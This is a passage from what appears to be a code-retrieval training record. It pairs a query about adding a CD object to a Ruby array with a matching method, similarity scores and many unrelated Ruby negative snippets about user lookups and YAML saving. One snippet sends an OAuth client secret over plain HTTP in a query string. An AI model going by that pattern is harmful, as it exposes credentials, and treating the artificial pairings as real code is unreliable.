"def user_info\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n\n respond_to do |format|\n name = @current_user.name\n username = @current_user.username\n format.json {\n render json: {\n :name => name,\n :username => username,\n }.to_json, status: 200\n }\n end\n end", "def user_query(username, access_type, operation, desired_object ,query)\n if(@dbiacl.check(username, access_type, operation, desired_object))\n r = @m.query(query)\n # r.each_hash do |f|\n # print \"#{f['name']} - #{f['email']}\"\n # end\n end\n return r\n end", "def get_me\n response = self.class.get(base_api_endpoint(\"users/me\"), headers: { \"authorization\" => @auth_token })\n @user_data = JSON.parse(response.body)\n end", "def show\n @booking = Booking.get_user_bookings params[:id]\n @user_name = User.select(\"uname\").find(params[:id]).uname\n end", "def getUserInfo\n login_user_id = params[:my_id].to_i\n login_user = User.find(login_user_id)\n\n target_user_id = params[:target_id].to_i\n target_user = User.find(target_user_id)\n\n # target_userをフォローしているか\n login_user_follow = login_user.follows_of_from_user.pluck(:id).include?(target_user_id)\n\n # target_userの記事一覧を取得\n articles_hash = make_articles_hash(target_user.articles, target_user)\n\n if articles_hash.blank?\n res = {\n result: false,\n data: nil\n }\n else\n res = {\n result: true,\n data: {\n user_id: target_user_id,\n name: target_user.name,\n follow: login_user_follow,\n profile_image: target_user.profile_image_path,\n articles: articles_hash\n }\n }\n end\n\n render json: res\n end", "def user\n {user_id: self.object.user.id,\n user_name: self.object.user.name\n }\n end", "def show\n get_user_for_edit\n end", "def show\n @client = basic_connect\n @user_info = @client.user_info['user']\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_token }\n end\n end", "def user_info\n @user = @github.users.get user: params[:username]\n render json: Hash[@user]\n end", "def get_user\n\t\tif starting_location_dl.present?\n\t\t\tstarting_location_dl.user\n\t\telsif ending_location_dl.present?\n\t\t\tending_location_dl.user\n\t\telsif starting_location_meeting.present?\n\t\t\tstarting_location_meeting.user\n\t\telsif ending_location_meeting.present?\n\t\t\tending_location_meeting.user\n\t\tend\n\tend", "def get_data(str)\n user = @current_user.api_user\n pass = @current_user.api_pass\n \n auth = {username: user, password: pass}\n\n return data = HTTParty.get(str, basic_auth: auth)\n end", "def getUserData(code)\n\t\t\t\taccessUri = URI::HTTP.build(\n\t\t\t\t\t:host => @options['api_host'],\n\t\t\t\t\t:path => @options['access_token_path'],\n\t\t\t\t\t:query => {\n\t\t\t\t\t\t:code => code,\n\t\t\t\t\t\t:redirect_uri => @options['redirect_uri'],\n\t\t\t\t\t\t:grant_type => \"authorization_code\",\n\t\t\t\t\t\t:client_id => @options['client_id'],\n\t\t\t\t\t\t:client_secret => @options['client_secret'],\n\t\t\t\t\t}.to_query\n\t\t\t\t)\n\n\t\t\t\taccessRequest = JSON.parse Net::HTTP.post_form(accessUri, []).body\n\n\t\t\t\tgetCurrentUserUri = URI::HTTP.build(\n\t\t\t\t\t:host => @options['api_host'],\n\t\t\t\t\t:path => @options[\"method_url_path\"],\n\t\t\t\t\t:query => {\n\t\t\t\t\t\t:access_token => accessRequest['access_token'],\n\t\t\t\t\t\t:application_key => @options['application_key'],\n\t\t\t\t\t\t:method => \"users.getCurrentUser\",\n\t\t\t\t\t\t:sig => self.getSig(accessRequest['access_token'])\n\t\t\t\t\t}.to_query\n\t\t\t\t)\n\n\t\t\t\tJSON.parse Net::HTTP.get_response(getCurrentUserUri).body\n\t\t\tend", "def user\n return @user\n end" ]
[ "0.7612659", "0.7607462", "0.7525058", "0.6979019", "0.69727874", "0.6940883", "0.6833085", "0.68140984", "0.67433023", "0.6695768", "0.6660948", "0.6660869", "0.6647767", "0.6597876", "0.65843606", "0.6573876", "0.6567287", "0.65598685", "0.6542499", "0.6542499", "0.65252244", "0.65056485", "0.64895976", "0.6483285", "0.6476046", "0.64709336", "0.6463997", "0.6449518", "0.6437788", "0.642735", "0.64082664", "0.64001167", "0.64001167", "0.6394903", "0.638566", "0.637934", "0.63793004", "0.637268", "0.6370882", "0.635796", "0.63478684", "0.63391614", "0.6333705", "0.6330769", "0.63227826", "0.63156736", "0.6313013", "0.63017535", "0.63004255", "0.62952304", "0.62938756", "0.62828183", "0.62804884", "0.6278866", "0.6272063", "0.6269623", "0.626357", "0.626357", "0.62622714", "0.62622714", "0.62622714", "0.62610716", "0.6253344", "0.6252394", "0.6252261", "0.6249553", "0.6249553", "0.6248243", "0.6241056", "0.62314206", "0.6227573", "0.6218951", "0.6217196", "0.6210338", "0.6209335", "0.620459", "0.6196951", "0.61863077", "0.6182982", "0.618295", "0.6176443", "0.6174818", "0.6172644", "0.6171696", "0.6163082", "0.6156473", "0.61519766", "0.6150379", "0.6143905", "0.6139164", "0.6138822", "0.6136956", "0.6132822", "0.6121857", "0.61157054", "0.6110251", "0.6109338", "0.61011636", "0.6095726", "0.60946405", "0.6093714" ]
0.0
-1
add CD object to the array variable, $cd_arr
def add_cd(a_cd) $cd_arr << a_cd end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add obj\n\t\t\t@objs2 += [obj] \n\t\tend", "def added(array)\nend", "def addComplexObject(var_Object)\n \n Common::Logger.print(Common::VAR_DEBUG, self, \"addig object [\" + var_Object.to_s() + \"] to the array list\")\n \n if(!var_Object.is_a?(SBAStore::SBAComplexObject))\n raise SBATypeError.new(\"SBAStore::SBAComplexObject expected\")\n end\n\n @VAR_COMPLEX_OBJECT_INDEX+=1\n \n # Add object to the array\n @VAR_COMPLEX_OBJECTS[@VAR_COMPLEX_OBJECT_INDEX-1] = var_Object\n @VAR_COMPLEX_OBJECTS_NAMES[@VAR_COMPLEX_OBJECT_INDEX-1] = var_Object.VAR_NAME\n @VAR_COMPLEX_OBJECTS_INDEXES[@VAR_COMPLEX_OBJECT_INDEX-1] = var_Object.VAR_ID\n \n # Add complex object to the previous complex object\n if(@VAR_COMPLEX_OBJECT_INDEX > 1)\n @VAR_COMPLEX_OBJECTS[@VAR_COMPLEX_OBJECT_INDEX-2].add(var_Object.VAR_ID)\n end\n \n Common::Logger.print(Common::VAR_DEBUG, self, \"puts [#{var_Object.to_s()}] to the array\") \n end", "def add(rc)\n # iterate over given rc and store each item in this Bag's list\n rc.items.each do |item|\n # use the Bag's store method to ensure items are reset\n self.store(item)\n end\n # empty the given rc using its own empty method\n rc.items = []\n end", "def add_item(item)\r\n \[email protected](item)\r\n end", "def add chromosome\n\t\t@arrayChromosomes << chromosome\n\tend", "def concat(array)\n updated(@children + array.to_a)\n end", "def add(new_element)\n\n case new_element\n when DrawingGroup\n @drawingArray = (@drawingArray << new_element.drawingArray).flatten\n when Drawing\n @drawingArray << new_element\n else\n raise Argument \"New_element (#{@new_element}) is not a valid input\"\n end\n \n end", "def store_concert_details_data(concert_details_array, output_file)\n CSV.open(output_file, 'a') do |csv|\n concert_details_array.each{|x| csv << x.toArray()} \n end\n end", "def add array\n #$log.debug \"tabular got add #{array.count} #{array.inspect} \" if $log\n @list ||= []\n @list << array\n end", "def add_item(array, item)\n\tarray << item\nend", "def add(mod,id)\n @@records[mod] = [] unless @@records[mod].class == Array\n @@records[mod] << id\n end", "def initialize(name, breed, age) #initialize with 3 arguments.\n @name = name\n @breed = breed\n @age = age\n DOGS << self #showell into empty DOGS array. \nend", "def add_item(array, item)\n\tarray.push(item)\nend", "def add_item(elective_array, item)\n elective_array.push(item)\n puts elective_array\nend", "def initialize(input_arr=[])\n @internal_arr = []\n \n # take the input_arr and pass each value to add \n input_arr.each{|new_ele| add(new_ele)}\n\n end", "def add_diagnosis_obj(obj)\n @diagnoses << obj\n end", "def add_to_array(array, item)\n\tarray += [item]\n\tp array\nend", "def add array\n $log.debug \"tabular got add #{array.count} #{array.inspect} \" if $log\n @list ||= []\n @list << array\n end", "def add_value(item)\n array.push(item)\n end", "def add_items_with_content(content_array)\n vci_array = []\n content_array.each { |content| vci_array << add_item_with_content(content) }\n vci_array\n end", "def add_character(character_obj)\n # instance.cast << character_obj\n # self.cast << character_obj\n character_obj.series = self\n end", "def add_cards(cs)\n\t\tcards.concat cs\n\tend", "def append(cue)\n cue.serialize(@fps)\n @list << cue\n end", "def add_stop_to_end(stops_array, new_stop)\n result = stops_array.push(new_stop)\n return result\nend", "def get_cartridge_array\n cs = Array.new\n\n cartridges.each do |c|\n cs << c.name\n end\n\n cs\n end", "def add_card(card)\n \t@cards << card\n end", "def initialize(input_arr = [])\n @internal_arr = []\n input_arr.each {|new_ele| add(new_ele)}\n\n end", "def add card\n @cards.push card\n end", "def add_to_array(array, item)\n array << item\nend", "def add(course_object)\n self.items << course_object\n end", "def add_recipe(new_recipe)\n @recipearray << new_recipe\n update_csv\n end", "def add(obj)\n @set.addObject obj\n end", "def create_rides(arr_file, arr_id)\n drivers = create_drivers(arr_id)\n\n arr_file.each do |item|\n arr_input = item.split(\",\")\n h_ride = {date:arr_input[1], cost:arr_input[2].to_f, ride:arr_input[3], rate:arr_input[4].to_i}\n id = arr_input[0]\n idx = arr_id.index(id)\n drivers[idx][:rides].push(h_ride)\n end\n\n return drivers\nend", "def add_to_array attribute, value\n update! attribute => self[attribute].push(value.to_s).uniq\n rescue ActiveRecord::StaleObjectError\n reload\n retry\n end", "def cdr_assoc(code)\n\t\tarr = self.to_full_array\n\t\tarr.assoc(code)[1]\n\tend", "def initialize(input_arr=[])\n @internal_arr = []\n input_arr.each {|elem| self.add(elem)}\n end", "def initialize(shelf, book)\n @shelf = shelf\n @book = book\n @@array << self\nend", "def obj\n [dobj, pobj]\n end", "def push(*objects)\n @ary.push(*objects)\n self\n end", "def store_in_array(coordinate)\n\t\tchosen.push(coordinate)\n\tend", "def add(item)\n #push item into the array\n @array << item\n view\n end", "def append_comment_tag_hash_array(hash)\n @comment_tag_hash_array << hash\n end", "def add_to_array(arr, str) # define a method with an array and a string\n new_array = arr << str # create a new array with the array and add the string\n \n p new_array\n \nend", "def push!(obj)\n @objs << obj\n end", "def append_data_array(raw_data)\n $test_logger.log(\"Append data array #{raw_data}\")\n raw_array = []\n raw_data.each_with_index{|x, i| raw_array[i] = BioPacket.swap_dword(x) }\n @data.concat(raw_array)\n build_cmd\n end", "def add_ay(array)\n array.push(\"ay\")\nend", "def add_instance_disk(array, instance, disk)\n if instance.managed_disk?\n disk_type = 'managed'\n disk_location = disk.managed_disk.id\n managed_disk = @managed_disks.find { |d| d.id.casecmp(disk_location).zero? }\n\n if managed_disk\n disk_size = managed_disk.properties.disk_size_gb.gigabytes\n mode = managed_disk.try(:sku).try(:name)\n else\n _log.warn(\"Unable to find disk information for #{instance.name}/#{instance.resource_group}\")\n disk_size = nil\n mode = nil\n end\n else\n disk_type = 'unmanaged'\n disk_location = disk.try(:vhd).try(:uri)\n disk_size = disk.try(:disk_size_gb).try(:gigabytes)\n\n if disk_location\n uri = Addressable::URI.parse(disk_location)\n storage_name = uri.host.split('.').first\n container_name = File.dirname(uri.path)\n blob_name = uri.basename\n\n storage_acct = @storage_accounts.find { |s| s.name.casecmp(storage_name).zero? }\n mode = storage_acct.try(:sku).try(:name)\n\n if @options.get_unmanaged_disk_space && disk_size.nil?\n storage_keys = @sas.list_account_keys(storage_acct.name, storage_acct.resource_group)\n storage_key = storage_keys['key1'] || storage_keys['key2']\n blob_props = storage_acct.blob_properties(container_name, blob_name, storage_key)\n disk_size = blob_props.content_length.to_i\n end\n end\n end\n\n disk_record = {\n :device_type => 'disk',\n :controller_type => 'azure',\n :device_name => disk.name,\n :location => disk_location,\n :size => disk_size,\n :disk_type => disk_type,\n :mode => mode\n }\n\n array << disk_record\n end", "def assemble_raid_array(partition_list, raid_device = '/dev/md0', raid_type = 0)\n puts \"Assembling cloned RAID-#{raid_type.to_s} array #{raid_device} ...\"\n command = \"/sbin/mdadm --assemble #{raid_device} #{partition_list.join(' ')}\"\n puts command\n puts `#{command}`\n end", "def push(document)\n name = document._name\n initialize_array(name)\n self.delta_pack[name].push document.to_h\n update_ust(document)\n end", "def add_card(new_card)\n cards.push(new_card)\n end", "def append(arr, char)\n output_arr = arr + [char]\n return output_arr\nend", "def add_to_ary_modified(ary,elt)\n\tary << elt\n\tputs \"#{elt} is now in your array.\"\n\tary\nend", "def arc_test_manual_array(mill = nil)\r\n# - - - - - - - - - - - - - - - - - - - -\r\n #############\r\n ### ARC TEST #0\r\n #############\r\n if (mill == nil)\r\n mill = CNCMill.new\r\n mill.job_start()\r\n mill.home()\r\n end #if\r\n\r\n # variables used here to make\r\n # easy for reader.\r\n circ_x = 3.0\r\n circ_y = 2.0\r\n min_radius = 0.7\r\n max_radius = 0.95\r\n beg_angle = 0\r\n degree_inc = 4\r\n depth = -0.5\r\n sweep_angle = 30\r\n width = 0.1\r\n\r\n curr_beg_angle = beg_angle\r\n lc =0\r\n curr_min_radius = min_radius\r\n # illustrate an easy way to get a \r\n # concentric wrings of arc pockets\r\n while (lc < 3)\r\n max_radius = curr_min_radius + width\r\n curr_beg_angle = beg_angle\r\n lc += 1\r\n # illustrate an easy way to get a\r\n # repeating array of arc pockets\r\n cc = 0\r\n while (cc < 4)\r\n cc += 1\r\n end_angle = curr_beg_angle + sweep_angle\r\n aRes = arc_segment_pocket(mill, \r\n circ_x,\r\n circ_y,\r\n curr_min_radius, \r\n max_radius,\r\n curr_beg_angle,\r\n end_angle, \r\n 0, \r\n depth,\r\n degree_inc)\r\n mill.retract()\r\n curr_beg_angle = end_angle + (sweep_angle * 0.8)\r\n end #while\r\n width = width * 1.2\r\n curr_min_radius = max_radius + (width * 2)\r\n end #while\r\n return aRes\r\nend", "def add_card(card)\n @cards.push\n end", "def add_association(gen_array, cha_array)\n \n if !gen_array.nil? \n gen_array.each do |gen|\n if Genre.exists?(id: gen)\n @genre = Genre.find(gen)\n @movie.genres << @genre\n end\n end\n end\n\n if !cha_array.nil? \n cha_array.each do |cha|\n if Character.exists?(id: cha)\n @character = Character.find(cha)\n @movie.characters << @character\n end\n end\n end\n\n end", "def +(arr)\n raise 'Not Implemented'\n end", "def add_broccoli(array)\n array << \"broccoli\"\n puts array\nend", "def putc(obj)\n #This is a stub, used for indexing\n end", "def push_to_robot_scent_array(position)\n @robot_scent_positions << position\n end", "def assoc(code)\n\t\tarr = self.to_full_array\n\t\tarr.assoc(code)\n\tend", "def << tagspec\n @marcfieldspecs << tagspec\n end", "def add_to_group group_identifier, object_identifier_or_array\n group = self.get group_identifier\n group += identifier_collect(object_identifier_or_array)\n return group\n end", "def <<(value)\n raise TypeError, \"instance is not mutable\" unless mutable?\n self.class.check_cftype(value)\n CF.CFArrayAppendValue(self, value)\n self\n end", "def update_event_list(array)\n array.push(\"cycling\")\nend", "def add_to_bank\n @bank.push(@letter)\n end", "def new_hq_diskarray_attributes=(hq_diskarray_attributes)\n hq_diskarray_attributes.each do |attributes|\n hq_diskarrays.build(attributes)\n end\n end", "def add(object)\n @objects << object\n end", "def add_to_array(arr, a)\r\n\treturn_array = arr\r\n\treturn_array << a\r\nend", "def initialize(input_arr=[])\n \n @internal_arr = []\n\n # Pass each element in input_arr to 'add' method (if it isn't empty)\n input_arr.each { | ele | add(ele) } \n\n end", "def add_chapters(array_of_hashes)\n array = format_chapters(array_of_hashes)\n array.sort.each_with_index do |chapter_id_num, index|\n self.chapters[\"Chapter_#{index + 1}\"] = {:chapter_id => chapter_id_num}\n end\n end", "def build(array)\n array.map { |record| Restforce::SObject.new(record, @client) }\n end", "def add_to_array(attribute_path, value)\n create_and_execute_edit('ADD', attribute_path, value)\n end", "def add_dependent obj\n $log.debug \" ADDING DEPENDE #{obj}\"\n @dependents ||= []\n @dependents << obj\n end", "def add_card(card)\n @cards << card\n end", "def add_card(card)\n @cards << card\n end", "def <<( array)\n unless @list\n # columns were not added, this most likely is the title\n @list ||= []\n _init_model array\n end\n @list << array\n @native_text = @list # 2014-05-27 - 16:34 \n fire_dimension_changed\n self\n end", "def initialize(input_arr=[])\n @internal_arr = []\n input_arr.each do |x|\n self.add(x)\n end\n end", "def add(o); addObject o end", "def add(arr)\n init_member(arr.count) if @sample_count == 0\n update_mean_and_r([arr])\n end", "def add(element)\n\t\t@size += 1\n\t\[email protected](element)\n\t\telement\n\tend", "def atomic_array_add_to_sets\n @atomic_array_add_to_sets ||= {}\n end", "def append(array,input)\n array << input\n return array\nend", "def add_new_gift(gifts_array, new_gift)\r\n gifts_array << new_gift\r\nend", "def add(beer)\n \t$catalogue << beer\n end", "def addContact(fname,lname,email)\n\t\[email protected](Struct::ContactEntry.new(fname,lname,email))\n\tend", "def initialize\n @design_components = Array.new\n end", "def store_obj_chart(obj_id) #:nodoc:\n record = 0x005D # Record identifier\n length = 0x001A # Bytes to follow\n\n obj_type = 0x0005 # Object type (chart).\n data = '' # Record data.\n\n sub_record = 0x0000 # Sub-record identifier.\n sub_length = 0x0000 # Length of sub-record.\n sub_data = '' # Data of sub-record.\n options = 0x6011\n reserved = 0x0000\n\n # Add ftCmo (common object data) subobject\n sub_record = 0x0015 # ftCmo\n sub_length = 0x0012\n sub_data = [obj_type, obj_id, options, reserved, reserved, reserved].pack('vvvVVV')\n data = [sub_record, sub_length].pack('vv') + sub_data\n\n # Add ftEnd (end of object) subobject\n sub_record = 0x0000 # ftNts\n sub_length = 0x0000\n data = data + [sub_record, sub_length].pack('vv')\n\n # Pack the record.\n header = [record, length].pack('vv')\n\n append(header, data)\n\n end", "def add_data_elements\n \n end", "def add(obj)\n Maglev::PERSISTENT_ROOT[self][obj.__id__] = obj\n end", "def add_card(card)\n @cards.push(card)\n end", "def disc_factory(number)\n disc_array = []\n number.times do\n disc_array << Disc.new\n end\n disc_array\n end", "def add_to_end(arr, element)\n arr.push(element)\nend", "def add_to_array(arr, value)\n arr.push(value)\nend", "def company_array(arr)\n companies_array = []\n arr.each {|comp| companies_array << comp }\n companies_array \nend", "def add_to_memory(bs)\n # if array of battlers\n if bs.is_a?(Array)\n # add memory data for each battler\n bs.each {|b| @memory[b] = MemoryData.new(b.x, b.y)}\n else\n # add memory data for battler\n @memory[bs] = MemoryData.new(bs.x, bs.y)\n end\n end", "def add_as_element(html,id,arr)\n html.elements.each(x_path(id)) do |tag|\n arr.push( tag[0].to_s )\n end\n end", "def add card\r\n @card_list.add card\r\n end", "def add_to array, thing\n array << thing if @document_self\n\n thing.parent = self\n thing.store = @store if @store\n thing.section = current_section\n end", "def add(id, object)\n self.objects[id] = object\n end" ]
[ "0.57683146", "0.55001056", "0.54594797", "0.5423005", "0.5422432", "0.5346832", "0.52584606", "0.5093057", "0.5051827", "0.5028648", "0.5023771", "0.50144297", "0.49987257", "0.49938908", "0.49835676", "0.4971274", "0.49583435", "0.49470288", "0.48972076", "0.48884988", "0.48813173", "0.48742673", "0.48738602", "0.48581028", "0.48538783", "0.4853162", "0.4822832", "0.48152483", "0.4810821", "0.4794508", "0.47926372", "0.47913784", "0.47732458", "0.47731173", "0.47686213", "0.47644487", "0.47536188", "0.47531295", "0.47525004", "0.4748372", "0.47461572", "0.47411075", "0.4732926", "0.47267753", "0.47243416", "0.47243288", "0.47186255", "0.4715038", "0.47027546", "0.46997532", "0.4697115", "0.46878007", "0.46874434", "0.4685871", "0.46744555", "0.4665862", "0.46646893", "0.46636218", "0.4659404", "0.46567148", "0.46556044", "0.46553296", "0.4651345", "0.4649911", "0.4646795", "0.46425733", "0.46332443", "0.4629752", "0.4629635", "0.4625325", "0.4618186", "0.46161598", "0.4614576", "0.46123317", "0.46116555", "0.46116555", "0.4610073", "0.4607544", "0.45940107", "0.45922726", "0.45886105", "0.45869663", "0.45826566", "0.45803544", "0.45774615", "0.45774356", "0.4574619", "0.4567555", "0.45668617", "0.45648", "0.4564267", "0.4559487", "0.45593336", "0.45581818", "0.455676", "0.45543942", "0.4544135", "0.45437798", "0.4543117", "0.45390534" ]
0.7951346
0
saves data to disk in yaml format
def save_db File.open($fn, "w") do |f| f.write($cd_arr.to_yaml) # YAML.dump($cd_arr, f) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def save\n File.open(file_path, 'w') do |file|\n YAML.dump(data, file)\n end\n end", "def save\n File.open(path, 'w') do |out|\n YAML.dump(data, out)\n end\n end", "def save_data\n puts \"saving data\"\n\n File.open(generate_filename(self), \"w\") do |f|\n f.write(ostruct_to_hash(self.json).to_yaml)\n end\n end", "def save\n \tdata = self\n \t\n \tFile.open('store.yml','w') do |f|\n \t\tf.write(data.to_yaml)\n \tend\n \tputs data\n \tputs \"Saved!\"\n \tputs \"\"\n end", "def save\n File.open(yaml_file, 'w') {|f| f.write(to_yaml) }\n end", "def store\n File.open(@file_name, 'w') do |file|\n file.write YAML::dump(@data)\n end\n end", "def save\n File.write(yfile, to_yaml)\n end", "def save\n File.open(file, \"w\") {|f| f.write(to_hash.to_yaml) }\n end", "def save\n File.open(file, \"w\") {|f| f.write(to_hash.to_yaml) }\n end", "def save\n ::File.open(@file, \"w\") { |file| file << self.to_hash.to_yaml }\n end", "def save\n File.open(file_name, 'w') { |f| f.write config.to_yaml }\n end", "def write_to_yaml(data,yaml_file) \n File.open(yaml_file,'w') { |yf| YAML.dump(data,yf) }\nend", "def persistData!\n File.open(getWorkingDir+'/data.host', 'w') do |f|\n f.write(@plataforms.to_yaml)\n end\n end", "def yaml_save object, filename\nFile.open filename, 'w' do |f| f.write(object.to_yaml)\nend end", "def yaml_save object, filename\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend", "def yaml_save object, filename\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend", "def yaml_save object, filename\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend", "def yaml_save object, filename\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend", "def yaml_save object, filename\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend", "def yaml_save object, filename\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend", "def yaml_save object, filename\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend", "def save\n if !Dir.exists? @config_directory\n FileUtils.mkdir_p @config_directory\n end\n\n open(@file, 'w').write @main.to_yaml\n end", "def yaml_save object, filename\n\tFile.open filename, 'w' do |f|\n\t\tf.write(object.to_yaml)\n\tend\nend", "def yaml_save object, filename\n\tFile.open filename, 'w' do |f|\n\t\tf.write(object.to_yaml)\n\tend\nend", "def yaml_save(object, filename)\n File.open filename, 'w' do |f|\n f.write(object.to_yaml)\n end\nend", "def save\n open @config_path, 'w' do |io|\n io.write({'files' => @files.collect(&:to_hash)}.to_yaml)\n end\n end", "def yaml_save(object, filename)\n File.open (filename), \"w\" do |f|\n f.write(object.to_yaml)\n end\nend", "def save_data\n begin\n File.open(@file, 'w') do |out|\n YAML.dump(@data, out)\n end\n rescue => e\n Lorj.error(format(\"%s\\n%s\", e.message, e.backtrace.join(\"\\n\")))\n return false\n end\n true\n end", "def to_yaml\n # write yaml\n end", "def save_polls_data(data)\n save_data('polls.yaml', data)\nend", "def to_yaml\n\t\tFile.write(\"save.yaml\", YAML.dump({\n\t\t\t:board => @board.board,\n\t\t\t:positions => @board.positions,\n\t\t\t:current_turn => @current_turn,\n\t\t\t:ai_on => @ai_on\n\t\t\t}))\n\tend", "def save_file\r\n @saved = true\r\n saving\r\n Dir.mkdir(\"saves\") unless Dir.exists? \"saves\"\r\n File.open(\"my_save.yaml\", \"w\") {|f| f.puts YAML::dump(self) }\r\n end", "def save()\n File.open(CONFIG_FILE, 'w'){ |f| f.write config.to_yaml } # Store\n end", "def save_yaml(yaml)\n yaml_file = File.join(thor_root, \"thor.yml\")\n\n unless File.exist?(yaml_file)\n FileUtils.mkdir_p(thor_root)\n yaml_file = File.join(thor_root, \"thor.yml\")\n FileUtils.touch(yaml_file)\n end\n\n File.open(yaml_file, \"w\") { |f| f.puts yaml.to_yaml }\n end", "def save_yaml(path=nil)\n unless path\n # Display file explorer\n path = Qt::FileDialog.getSaveFileName(self, \"Save configuration file\", \"./myconfig.yml\", \"YAML Files (*.yml *.yaml)\")\n end\n\n begin\n config_hash = Hash.new\n @container_hash.each do |pos, container|\n config_hash[pos] = container.config\n end\n File.open(path, \"w\") {|f| f.write(config_hash.to_yaml) }\n rescue Exception => e\n Vizkit.error \"A problem occured while trying to write configuration to '#{path}': \\n#{e.message}\"\n end\n end", "def save_settings\n File.open(@path, \"w\") do |file|\n file.write @settings.to_yaml\n end\n end", "def generate_save\n YAML.dump(self)\n end", "def persist!\n raise \"Robut::Storage::YamlStore.file must be set\" unless file\n File.open(file, \"w\") do |f|\n f.puts internal.to_yaml\n end\n end", "def save( file )\n begin\n File.open( file, 'w' ) { |f| f.write( YAML.dump( self ) ) }\n rescue\n File.open( file, 'wb' ) { |f| f.write( Marshal.dump( self ) ) }\n end\n end", "def yaml_save(packages)\n FileUtils.mkdir_p(File.dirname(yaml_file))\n File.open(yaml_file, \"w\") do |file|\n file.write(packages.to_yaml)\n end\n end", "def save_data(data,filename=nil)\n filename=data_file(filename)\n case File.extname(filename).downcase\n when \".yaml\",\".yml\"\n open(filename,\"w\"){|f| f.puts YAML.dump(data)}\n when \".json\"\n open(filename,\"w\"){|f| f.puts JSON.generate(data)}\n else\n open(filename,\"w\"){|f| f.puts data }\n end\n end", "def save!\n filepath.dirname.mkpath\n filepath.open( \"w\" ) do |f|\n f << YAML.dump( @entries )\n end\n clear_modified\n true\n end", "def save\n require 'yaml'\n File.open(output_file, 'w') { |f| f.puts(generate.to_yaml) }\n end", "def write_yaml(stations)\n log(' - Writing YAML...', false)\n File.open(YAML_PATH.to_s, 'w') { |file| file.write(stations.to_yaml) }\n log('DONE')\nend", "def save(dir = \".\")\n File.open(File.join(dir, \"#{name}.yaml\"), 'w') do |f|\n f.print YAML.dump(self)\n end\n end", "def save!(file=nil)\n file = file || @file || self.class.default_filename\n file = @root + file if String === file\n now! # update date\n File.open(file, 'w'){ |f| f << yaml }\n end", "def save(path_or_io)\n yaml = YAML.dump(to_yaml_hash)\n\n case path_or_io\n when String, Pathname\n File.open(path_or_io, 'w') { |f| f.write(yaml) }\n else\n path_or_io.write(yaml)\n end\n end", "def save\n File.open(SETTING_FILE, 'w') do |file|\n file.write @values.to_yaml\n end\n end", "def save_yaml( f_enzyme, f_reference=nil, f_supplier=nil )\n File.open(f_enzyme, 'w') { |f| f.puts YAML.dump(@enzyme_data) }\n File.open(f_reference, 'w') { |f| f.puts YAML.dump(@reference_data) } if f_reference\n File.open(f_supplier, 'w') { |f| f.puts YAML.dump(@supplier_data) } if f_supplier\n end", "def write_yaml_data_file filename, data\n File.open(filename, 'w') { |f| f << YAML.dump(data) }\nend", "def write_yaml_data_file filename, data\n File.open(filename, 'w') { |f| f << YAML.dump(data) }\nend", "def yaml_save(filename, to_save)\n\t\tbegin\n\t\t\tFile.open(filename, 'w') do |file|\n\t\t\t\tfile.write(to_save.to_yaml)\n\t\t\tend\n\t\t\ttrue\n\t\trescue\n\t\t\tputs \"Unable to save to file '#{ filename }'.\"\n\t\t\tnil\n\t\tend\n\tend", "def save(hash)\n File.open(\"#{@directory}/#{@store}.yml\", 'w+') {|f| f.write(hash.to_yaml) }\n end", "def dump\n File.open(\"saved_games.yaml\", \"a\") do |out|\n YAML::dump(self, out)\n end\n end", "def save_game\n\t\tDir.mkdir('saved_games') unless Dir.exist? 'saved_games'\n\t\tDir.chdir(\"saved_games\")\n\t\tdata = save\n\t\tFile.open(\"save.yaml\", \"w\") do |file|\n\t\t\tsaved_games = YAML::dump(data)\n\t\t\tfile.write(saved_games)\n\t\tend\n\t\tputs \"Games Saved!!\"\n\t\tabort\n\tend", "def dump\n File.open(@meta_data_file_location,'w') { |f| f.write(YAML.dump(@meta_data))}\n end", "def save\n if any?\n FileUtils.mkdir_p basedir if !Dir.exist? basedir\n backup if @backup\n\n # I do this the long way because I want an immediate sync.\n f = open(@file, 'w')\n f.write YAML::dump self\n f.sync\n f.close\n\n set_mode if @mode\n end\n true\n end", "def save\n unless @filespec.nil?\n yaml_filespec = @filespec.ext('.yaml')\n if !File.exist?(yaml_filespec) || (File.mtime(@filespec) > File.mtime(yaml_filespec))\n @logger.info { \"saving: #{yaml_filespec}\" }\n File.open(yaml_filespec, \"w\") do |f|\n YAML.dump(\n {\n :title_isbn_hash => @title_isbn_hash,\n :isbn_title_hash => @isbn_title_hash,\n :isbn_dvd_hash => @isbn_dvd_hash,\n }, f)\n end\n else\n @logger.info { \"not saving, yaml file is newer than xml file\" }\n end\n else\n @logger.error { \"can not save, the filespec is nil\" }\n end\n end", "def save\n @filename = @filename || gen_filename\n file = File.open(File.join(@dir, @filename), 'w') { |f|\n f.puts @issue.to_yaml\n }\n end", "def save( directory )\n File.open( \"parsed_data/#{directory}.yaml\", 'w' ) do |f|\n f.write( @pages.to_yaml )\n end\n end", "def save_game(player)\n player_data = YAML::dump(player)\n File.open(\"player.yaml\", \"w\") do |file|\n file.puts player_data\n end\n print \"Successfully saved the game!\\n\\n\"\n return\nend", "def save\n File.write @path, @index.to_yaml, encoding: \"UTF-8\"\n end", "def to_yaml() end", "def save(path)\n Pathname.new(path).write(self.to_yaml)\n\n true\n rescue\n # TODO Add a custom exception here to track why it erred. IO? Permissions? etc.\n false\n end", "def save_user_data(data)\n save_data('users.yaml', data)\nend", "def save_yml_test_case_map()\n new_test_case_map_path = self.class.test_case_map_path + '.new'\n yaml_content = @tc_id_map.to_yaml\n File.open(new_test_case_map_path, \"w:UTF-8\"){ |file| file.write(yaml_content) } if yaml_content\n FileUtils.mv(self.class.test_case_map_path, self.class.test_case_map_path + \".bak\")\n FileUtils.mv(new_test_case_map_path, self.class.test_case_map_path)\n end", "def save_moves\n\t\tFile.open(@filename, 'w') {|f| f.write(@past_moves.to_yaml)}\n\tend", "def save_to_file(path)\n variables_to_save = instance_variables.reject { |v| v =~ /_proc$/ || v =~ /^@med/ 